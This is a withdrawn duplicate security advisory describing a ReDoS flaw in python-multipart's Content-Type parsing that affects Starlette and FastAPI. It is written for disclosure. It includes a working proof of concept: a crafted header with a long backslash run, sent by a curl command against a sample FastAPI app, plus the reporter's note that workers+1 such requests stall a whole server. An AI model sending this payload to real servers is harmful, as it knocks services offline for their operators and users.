## Duplicate AdvisoryThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.## Original Description### SummaryWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoSThis only applies when the app uses form data, parsed with `python-multipart`.### DetailsA regular HTTP `Content-Type` header could look like:```Content-Type: text/html; charset=utf-8````python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74A custom option could be made and sent to the server to break it with:```Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\```This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238### PoCCreate a FastAPI app that uses form data:```Python# main.pyfrom typing import Annotatedfrom fastapi.responses import HTMLResponsefrom fastapi import FastAPI,Formfrom pydantic import BaseModelclass Item(BaseModel): username: strapp = FastAPI()@app.get("/", response_class=HTMLResponse)async def index(): return HTMLResponse("Test", status_code=200)@app.post("/submit/")async def submit(username: Annotated[str, Form()]): return {"username": username}@app.post("/submit_json/")async def submit_json(item: Item): return {"username": item.username}```Then start it with:```console$ uvicorn main:appINFO: Started server process [50601]INFO: Waiting for application startup.INFO: ASGI 'lifespan' protocol appears unsupported.INFO: Application startup complete.INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)```Then send the attacking request with:```console$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'```#### Stopping itBecause that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with `Ctrl+C` as it can't handle the signal.To stop it, first check the process ID running Uvicorn:```console$ ps -fA | grep uvicorn 501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn```In this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:```console$ kill -9 59461```### ImpactIt's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.### Original ReportThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3rOriginal report to FastAPIHey Tiangolo!My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:```Pythonfrom typing import Annotatedfrom fastapi.responses import HTMLResponsefrom fastapi import FastAPI,Formfrom pydantic import BaseModelclass Item(BaseModel): username: strapp = FastAPI()@app.get("/", response_class=HTMLResponse)async def index(): return HTMLResponse("Test", status_code=200)@app.post("/submit/")async def submit(username: Annotated[str, Form()]): return {"username": username}@app.post("/submit_json/")async def submit_json(item: Item): return {"username": item.username}```I'm running the above with uvicorn with the following command:```consoleuvicorn server:app```Then run the following cUrl command:```curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'```You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.Cheers#### ImpactAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.#### Occurrences[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)